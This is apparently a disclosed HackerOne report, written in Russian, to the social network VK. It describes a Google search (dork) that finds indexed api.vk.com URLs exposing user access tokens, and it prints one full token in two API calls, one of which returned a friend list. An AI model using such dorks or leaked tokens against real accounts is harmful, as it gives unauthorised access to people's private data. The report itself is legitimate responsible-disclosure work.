Дорк

Disclosed: 2016-11-18 15:29:47 By linkks To vkcom
Unknown
Vulnerability Details
Привет команда ВК вводим в гугл site:api.vk.com получаем список ссылок сужаем запрос site:api.vk.com access_token Получаем ссылки с access_token https://api.vk.com/method/audio.getPopular.xml?access_token=73e0a5e18bb491249705e60ff352df91bd34a55ee634c9448b187feee9a8bcffde7eefb9000ea03d845a2&sort=&count=11&only_eng=0 Получаем список друзей https://api.vk.com/method/friends.get.xml?&access_token=73e0a5e18bb491249705e60ff352df91bd34a55ee634c9448b187feee9a8bcffde7eefb9000ea03d845a2&sort=&count=11&only_eng=0 Дальше экспериментировать не стал. Спасибо заранее
Actions
View on HackerOne
Report Stats
  • Report ID: 117902
  • State: Closed
  • Substate: resolved
  • Upvotes: 5
Share this report